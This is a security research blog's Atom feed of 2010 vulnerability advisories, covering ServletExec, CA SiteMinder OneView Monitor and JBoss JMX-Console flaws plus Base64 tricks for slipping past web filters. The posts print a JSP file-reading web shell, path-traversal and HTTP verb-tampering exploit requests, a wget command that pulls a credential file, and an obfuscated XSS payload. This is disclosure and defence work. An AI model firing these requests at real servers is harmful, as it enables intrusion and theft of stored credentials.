<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7122745763234660283</id><updated>2010-08-08T01:07:26.404-07:00</updated><title type='text'>Minded Security Blog</title><subtitle type='html'>Minded Security Research Labs</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default?orderby=updated'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Minded Security</name><uri>http://www.blogger.com/profile/01503616812076743415</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>17</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-8202393563757195721</id><published>2010-08-05T02:58:00.000-07:00</published><updated>2010-08-05T03:29:45.447-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Application Security'/><title type='text'>New Web Vulnerabilities in ServletExec Application Server</title><content type='html'>New Atalnta Servletexec is a Web Application Server that is bundled with many enterprise Applications. Several vendors make extensive usage of Servlet Exec in their software solutions: CA (Siteminder), BMC Software (Remedy), SAP, etc...&lt;br /&gt;&lt;br /&gt;Usually Servlet Exec is used as an ISAPI component on top of IIS to give to Microsoft Web Server the ability to process JSP and J2EE applications.&lt;br /&gt;&lt;br /&gt;Vulnerabilities on Web Servers are pretty nasty, since their impact is extended on the Web Applications hosted. You should upgrade to the latest Servlet Exec Hot Patch, if not, your application will suffer from a path traversal and a Security Bypass vulnerability.&lt;br /&gt;&lt;br /&gt;Original Advisory by Minded Security: &lt;br /&gt;&lt;a href="http://www.mindedsecurity.com/MSA260209.html"&gt;New Atlanta Servlet Exec Multiple Security Issues&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Offcial Fix:&lt;br /&gt;&lt;a href="http://www.newatlanta.com/c/products/servletexec/download/hotfix/showHotfixes"&gt;New Atlanta Hotfix July 2010&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-8202393563757195721?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/8202393563757195721/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2010/08/new-web-vulnerabilities-in-servletexec.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/8202393563757195721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/8202393563757195721'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2010/08/new-web-vulnerabilities-in-servletexec.html' title='New Web Vulnerabilities in ServletExec Application Server'/><author><name>Giorgio Fedon</name><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='15175471670238994696'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-495912401479461544</id><published>2010-06-28T13:57:00.000-07:00</published><updated>2010-06-28T14:37:19.763-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Attacks'/><title type='text'>CA Siteminder Oneview Monitor Remote code execution</title><content type='html'>A couple of days ago we have published an advisory about a "vanilla" path manipulation in CA Oneview Monitor. This issue may lead to remote code execution and system compromise.&lt;br /&gt;&lt;br /&gt;You can find the advisory here:&lt;br /&gt;&lt;a href="http://www.mindedsecurity.com/MSA100410.html"&gt;CA Oneview Monitor "DoSave.jsp" path manipulation&lt;/a&gt;&lt;br /&gt;&lt;pre wrap=""&gt;&lt;br /&gt;  Vendor Response:&lt;br /&gt;  State: Not A Bug&lt;br /&gt;  Resolution: Functions as Designed&lt;br /&gt;  Resolution_Note: As per the docs, the only way to protect OneView is by putting SiteMinder in front.&lt;/pre&gt;&lt;br /&gt;To clarify vendor's position, One view monitor is a Plugin for Siteminder Policy Editor which is NOT installed by default;.. however by default is also NOT password protected.&lt;br /&gt;&lt;br /&gt;Vendor suggests to enforce security restrictions to this interface to mitigate security risks *&lt;br /&gt;&lt;pre wrap=""&gt;&lt;br /&gt;  From Admin guide:&lt;br /&gt;  Protect The OneView Viewer&lt;br /&gt;  To protect the OneView viewer, create a SiteMinder policy that&lt;br /&gt;  protects the resources in siteminder monitor.&lt;/pre&gt;&lt;br /&gt;The following is the same example that we sent to CA several weeks ago, that shows a real attack scenario against a Siteminded policy server with Oneview monitor installed without password protection:&lt;br /&gt;&lt;br /&gt;1) The attack is based upon JSP code execution, you can do anything that is under the privilege of the application server that runs the Oneview Monitor.&lt;br /&gt;&lt;br /&gt;Example of a Typical Installation:&lt;br /&gt;&lt;br /&gt;- Siteminder Monitor&lt;br /&gt;- Policy Manager&lt;br /&gt;- Some other software, in this case LDAP Browser with it's configuration files&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I will demonstrate a common attack that let you read most of the files from the remote machine. Generic JSP File Reader Code:&lt;br /&gt;&lt;blockquote&gt;&amp;lt;%@ page import="java.io.*" %&amp;gt;&lt;br /&gt;&amp;lt;% String[] ok = request.getParameterValues("f");&lt;br /&gt;&lt;br /&gt;if(ok!=null){&lt;br /&gt;&lt;br /&gt;       FileInputStream fileinputstream = new FileInputStream(ok[0]);&lt;br /&gt;&lt;br /&gt;       int numberBytes = fileinputstream.available();&lt;br /&gt;       byte bytearray[] = new byte[numberBytes];&lt;br /&gt;&lt;br /&gt;       fileinputstream.read(bytearray);&lt;br /&gt;&lt;br /&gt;       for(int i = 0; i &amp;lt; numberBytes; i++){&lt;br /&gt;           out.println(bytearray[i]);&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       fileinputstream.close();&lt;br /&gt;} %&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The previous code was written to be small enough to suite the limitations in length of the “cols” parameter (Maximum 620 bytes). The following request loads the code into OneView session:&lt;br /&gt;&lt;blockquote&gt;http://&amp;lt;site&amp;gt;/sitemindermonitor/doConfig.jsp?newTable=newtable&amp;amp;components=Agent&amp;amp;cols=AuthorizeCount%20/%20sec%0d&amp;lt;%25@%20page%20import="java.io.*"%20%25&amp;gt;&amp;lt;%25%20String[]%20ok%20=%20request.getParameterValues("f")%3b%20FileInputStream%20fileinputstream%20=%20new%20FileInputStream(ok[0])%3b%20int%20numberBytes%20=%20fileinputstream.available()%3b%20byte%20bytearray[]%20=%20new%20byte[numberBytes]%3b%20fileinputstream.read(bytearray)%3b%20for(int%20i%20=%200%3b%20i%20&amp;lt;%20numberBytes%3b%20i%2b%2b){%20out.println(bytearray[i])%3b%20}%20fileinputstream.close()%3b%20%25&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;As seen before on the PDF the configuration information file can be saved to an arbitrary path:&lt;br /&gt;&lt;blockquote&gt;http://&lt;site&gt;/sitemindermonitor/doSave.jsp?file=../readfile.jsp&lt;/site&gt;&lt;/blockquote&gt;&lt;br /&gt;It's possible to use our code to read arbitrary files on the target system. In our case we are going to read a file with useful information (e.g. Credentials):&lt;br /&gt;&lt;blockquote&gt;http://&lt;site&gt;/sitemindermonitor/readfile.jsp?f=d:/apps/ldapbrowser/config.cfg&lt;/site&gt;&lt;/blockquote&gt;&lt;br /&gt;Readfile.jsp sends binary encoded output. The previous output can be easily decoded with a few lines of perl (converter.pl):&lt;br /&gt;&lt;blockquote&gt;#!/bin/sh&lt;br /&gt;#! -*- perl -*-&lt;br /&gt;eval 'exec /usr/bin/perl -x $0 ${1+"$@"} ;'&lt;br /&gt;if 0;&lt;br /&gt;&lt;br /&gt;while (&amp;lt;stdin&amp;gt;) {&lt;br /&gt;my $str = chr($_);&lt;br /&gt;print $str;&lt;br /&gt;}&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;The response can be read and decoded by using the following command:&lt;br /&gt;&lt;blockquote&gt;user@mindbox:~/wget -qO-&lt;br /&gt;http://&lt;site&gt;/sitemindermonitor/readfile.jsp?f=d:/apps/ldapbrowser/config.cfg&lt;br /&gt;| ./convert.pl&lt;br /&gt;&lt;br /&gt;################################&lt;br /&gt;# LDAP Browser v2.8 config file #&lt;br /&gt;#################################&lt;br /&gt;&lt;br /&gt;basedn=dc=test,dc=customer&lt;br /&gt;port=389&lt;br /&gt;managerlogin=yes&lt;br /&gt;managereferrals=no&lt;br /&gt;limit=0&lt;br /&gt;derefaliases=always&lt;br /&gt;version=3&lt;br /&gt;sslport=636&lt;br /&gt;timeout=0&lt;br /&gt;password=T*******T&lt;br /&gt;host=customer&lt;br /&gt;managerdn=cn=user Name Surname,ou=Users,ou=keys....&lt;br /&gt;&lt;br /&gt;user@mindbox:~/&lt;/site&gt;&lt;/blockquote&gt;&lt;br /&gt;Of course you can also execute processes under the privilege of the application server to spawn a shell.&lt;br /&gt;&lt;br /&gt;*Note: It's very important to say that "DoSave.jsp" is also prone to Cross Site Request forgeries issues, so protecting this resource via a SSO cookie authentication (i.e. Siteminder auth cookie) cannot completely eliminate the risk.&lt;br /&gt;&lt;br /&gt;From our point of view this is a very specific application security bug: a path manipulation issue. This issue should be fixed by rethink the data validation checks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-495912401479461544?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/495912401479461544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2010/06/ca-siteminder-oneview-monitor-remote.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/495912401479461544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/495912401479461544'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2010/06/ca-siteminder-oneview-monitor-remote.html' title='CA Siteminder Oneview Monitor Remote code execution'/><author><name>Giorgio Fedon</name><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='15175471670238994696'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-1907507360004730740</id><published>2010-04-30T01:36:00.000-07:00</published><updated>2010-05-13T09:04:06.925-07:00</updated><title type='text'>Good Bye Critical Jboss 0day</title><content type='html'>Authentication bypass vulnerabilities are always interesting from a penetration tester point of view, because the 80% of the time are very simple to abuse. The impact of a security bypass vulnerability depends, from a technical perspective, on what you could be able to do when you are authenticated.&lt;br /&gt;&lt;br /&gt;Jboss has some good management tools that are used to deploy new applications and to perform privileged actions like executing scripts on the remote host. One of these is Jboss JMX-Console.&lt;br /&gt;&lt;br /&gt;For more information on what an attacker may accomplish through the JMX-Console I suggest to read the following presentation:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://media.blackhat.com/bh-eu-10/presentations/Papathanasiou/BlackHat-EU-2010-Papathanasiou-Abusing-JBoss-slides.pdf"&gt;Abusing Jboss by Christian Papathanasiou (Trustwave Spiderlabs)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here at Minded Security we discovered something more. Jboss JMX console may be protected using a common password authentication, but the standard password configuration protection is vulnerable.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;How many time someone suggested to you to secure the JMX console using the standard Jboss security configurations?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;JMX Console standard security configuration is available in:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;This is the suggested security configuration also available in Jboss official security guidelines (“White Paper on JMX Security”):&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;https://jira.jboss.org/jira/browse/SECURITY-31&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;The suggested configuration for protecting the JMX Console was the following one:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&amp;lt;security-constraint&amp;gt;&lt;br /&gt;&amp;lt;web-resource-collection&amp;gt;&lt;br /&gt; &amp;lt;web-resource-name&amp;gt;HtmlAdaptor&amp;lt;/web-resource-name&amp;gt;&lt;br /&gt; &amp;lt;description&amp;gt;An example security config that only allows users with the&lt;br /&gt;   role JBossAdmin to access the HTML JMX console web application&lt;br /&gt; &amp;lt;/description&amp;gt;&lt;br /&gt; &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt; &lt;span style="font-weight: bold; font-style: italic;"&gt;&amp;lt;http-method&amp;gt;GET&amp;lt;/http-method&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;      &amp;lt;http-method&amp;gt;POST&amp;lt;/http-method&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;/web-resource-collection&amp;gt;&lt;br /&gt;&amp;lt;auth-constraint&amp;gt;&lt;br /&gt; &amp;lt;role-name&amp;gt;JBossAdmin&amp;lt;/role-name&amp;gt;&lt;br /&gt;&amp;lt;/auth-constraint&amp;gt;&lt;br /&gt;&amp;lt;/security-constraint&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;From the configuration above, security restrictions are enabled only for “GET” and “POST” methods. Any other HTTP method supported by the server will be not restricted.&lt;br /&gt;&lt;br /&gt;By issuing a request with the “HEAD” method is possible to invoke directly, with “JBossAdmin” privilege, any functionality implemented by the jmx-console without valid credentials. Note: If JMX console replies with a HTTP 500 error the request has been correctly processed.&lt;br /&gt;&lt;br /&gt;This kind of attack is referred in Appsec literature as Verb Tampering. The following one is a very good paper on this topic.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf"&gt; Bypassing with HTTP Verb Tampering by Arshan Dabirsiaghi - Aspect Security&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The most interesting part is the exploitation. If we have access to any JMX console which is password protected or not,  we can issue a HEAD HTTP request that will work ;D&lt;br /&gt;&lt;br /&gt;Standard Deployment (will ask for password):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;POST /jmx-console/HtmlAdaptor;index.jsp &lt;/span&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;span style="font-size:85%;"&gt; HTTP/1.1&lt;br /&gt;....&lt;br /&gt;content-lenght: 3512&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;action=invokeOp&amp;amp;name=jboss.admin%3Aservice%3DDeploymentFileRepository&amp;amp;methodIndex=6&amp;amp;arg0=..%2Fjmx-console.war%2F&amp;amp;arg1=argval&amp;amp;arg2=.jsp&amp;amp;&lt;br /&gt;arg3=%3C%25%40+page+import%3D%22java.io.*…....&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Exploitation with Authentication Bypass:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;HEAD&lt;/span&gt; /jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&amp;amp;name=jboss.admin%3Aservice%3DDeploymentFileRepository&amp;amp;methodIndex=6&amp;amp;arg0=..%2Fjmx-console.war%2F&amp;amp;arg1=argval&amp;amp;arg2=.jsp&amp;amp;arg3=%3C%25%40+page+import%3D%22java.io.*….... &lt;/span&gt;&lt;span style="font-size:85%;"&gt;HTTP/1.1&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Now pick the request you prefer and build your custom exploit!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Reference:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.mindedsecurity.com/MSA030409.html"&gt;http://www.mindedsecurity.com/MSA030409.html (Official Advisory)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solution:&lt;/span&gt;&lt;br /&gt;A solution to this issue is already available. See the following RedHat advisories:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;https://rhn.redhat.com/errata/RHSA-2010-0376.html&lt;/li&gt;&lt;li&gt; https://rhn.redhat.com/errata/RHSA-2010-0377.html&lt;/li&gt;&lt;li&gt; https://rhn.redhat.com/errata/RHSA-2010-0378.html&lt;/li&gt;&lt;li&gt; https://rhn.redhat.com/errata/RHSA-2010-0379.html&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;We would like to thank the RedHat response team in particular Marc Schoenefeld for his support, technical knowledge and fast response.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-1907507360004730740?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/1907507360004730740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/1907507360004730740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/1907507360004730740'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html' title='Good Bye Critical Jboss 0day'/><author><name>Giorgio Fedon</name><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='15175471670238994696'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-3127680028749060011</id><published>2010-04-22T02:01:00.000-07:00</published><updated>2010-04-26T13:15:44.792-07:00</updated><title type='text'>Is Php the only language doing flexible Base64 decoding?</title><content type='html'>As a follow up to the &lt;a href="http://blog.mindedsecurity.com/2010/04/fooling-b64encodepayload-on-wafs-and.html"&gt;Base64 decoding post&lt;/a&gt;, I did a quick research on Base64 implementations.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;http://www.google.com/codesearch?hl=en&amp;amp;sa=N&amp;amp;filter=0&amp;amp;q=base64+decode+lang:java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And some interesting result came out:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;http://www.google.com/codesearch/p?hl=en#p9nGS4eQGUI/gnu/classpath/classpath-0.13.tar.gz|er25_rDDsHI/classpath-0.13/gnu/java/net/BASE64.java&amp;amp;q=base64+decode+lang:java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;gnu.java.net.BASE64&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;public static byte[] decode(byte[] bs)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   int srclen = bs.length;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   &lt;span style="font-weight: bold;"&gt;while (srclen &gt; 0 &amp;amp;&amp;amp; bs[srclen - 1] == 0x3d)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;     {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;       srclen--; /* strip padding character */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;     }&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;That means that any = is stripped before the decoding is actually done.&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;$ java BASE64 -d "PHNjcm======PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;PHNjcm======PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== = &lt;/span&gt;&lt;span style="font-family:arial;"&gt;&amp;lt;scro\ufffd\ufffd\ufffd\ufffd&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;This is of course a bad implementation of B64 decoding.&lt;br /&gt;&lt;br /&gt;But it could fool a control since most of decoders stop at first = sequence.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;http://www.google.com/codesearch/p?hl=en#p6HPTpcXbFY/JPainter/painter.zip|Iy8ZaJ1-4W4/jsp/Base64.java&amp;amp;q=base64+decode+lang:java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;com.izhuk.util.Base64;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;public static byte[] decode(String encoded)  {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;        int i;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;        byte output[] = new byte[3];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;        int state;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;        ByteArrayOutputStream data = new ByteArrayOutputStream(encoded.length());&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;        state = 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;        for(i=0; i &amp;lt; encoded.length(); i++)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;        {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;            byte c;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;            {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;                char alpha = encoded.charAt(i);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;                &lt;span style="font-weight: bold;"&gt;if (Character.isWhitespace(alpha)) continue&lt;/span&gt;;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;and finally:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;http://www.google.com/codesearch/p?hl=en#CskViEIa27Y/src/org/apache/commons/codec/binary/Base64.java&amp;amp;q=base64+decode+lang:java&amp;amp;sa=N&amp;amp;cd=19&amp;amp;ct=rc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;font-family:arial;" &gt;org.apache.commons.codec.binary.Base64&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;public static byte[] decodeBase64(byte[] base64Data) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   // RFC 2045 requires that we discard ALL non-Base64 characters&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   &lt;span style="font-weight: bold;"&gt;base64Data = discardNonBase64(base64Data);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;... act surprising.&lt;br /&gt;&lt;br /&gt;If somebody wants to continue the research of B64 implementation I'll appreciate a comment here :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-3127680028749060011?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/3127680028749060011/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2010/04/is-php-only-language-doing-flexible.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/3127680028749060011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/3127680028749060011'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2010/04/is-php-only-language-doing-flexible.html' title='Is Php the only language doing flexible Base64 decoding?'/><author><name>Stefano Di Paola</name><uri>http://www.blogger.com/profile/18241677936736054546</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='10007430601667226836'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-7276035970145501352</id><published>2010-04-21T02:01:00.000-07:00</published><updated>2010-04-21T03:35:14.692-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Attacks'/><title type='text'>Fooling B64_Encode(Payload) on WAFs and filters</title><content type='html'>When dealing with Web Application Firewall, IDSs or application filters trying to block attacks there are always two big problem:&lt;ul&gt;&lt;li&gt;Completeness&lt;/li&gt;&lt;li&gt;Correctness&lt;/li&gt;&lt;/ul&gt;We know Regexp could be faulty, but let's suppose there's some sort of encoding in the payload which is furtherly decoded on some server side layer and then used in clear text to pass it to another layer.&lt;br /&gt;A good defense should be to let the WAF/Filter decode it and check for attack patterns (using regexp..).&lt;br /&gt;Now the question is how can I implement a decoder to get the input back in clear?&lt;br /&gt;Let's talk about Base64.&lt;br /&gt;&lt;br /&gt;Base64 encoding and decoding are implemented in many ways and many languages.&lt;br /&gt;For example PHP &lt;span style="font-style: italic;"&gt;base64_decode&lt;/span&gt;() is:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Very greedy.&lt;/li&gt;&lt;li&gt;Goes ahead even if something goes wrong&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Even some Java Implementation is kind of greedy:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;com.sun.org.apache.xerces.internal.impl.dv.util.Base64&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt; public static byte[] decode(String paramStr&lt;/span&gt;&lt;span style="font-family:arial;"&gt;ing)&lt;/span&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   if (paramString == null) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;   &lt;/span&gt;&lt;span style="font-family:arial;"&gt;return null;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;char[] arrayOfChar = paramString.toCharArray();&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt;int i = &lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;removeWhiteSpace(arrayOfChar);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The question is: How to rely on WAF or filters controls if they miss some&lt;br /&gt;behaviour?&lt;br /&gt;&lt;br /&gt;NoScript checks for Base64 encoded Xss.&lt;br /&gt;ModSecurity implements Base64 decoding using the following rule:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So the following payload is caught by both:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;b64_encode(&lt;/span&gt;&lt;span style="font-style: italic;"&gt;"&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mod_Security:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pkzXyh452W0/S87BDRmJDAI/AAAAAAAAAAk/DxcVPi92dgk/s1600/b64_modsec.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 128px;" src="http://3.bp.blogspot.com/_pkzXyh452W0/S87BDRmJDAI/AAAAAAAAAAk/DxcVPi92dgk/s400/b64_modsec.jpg" alt="" id="BLOGGER_PHOTO_ID_5462515660054137858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;NoScript:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 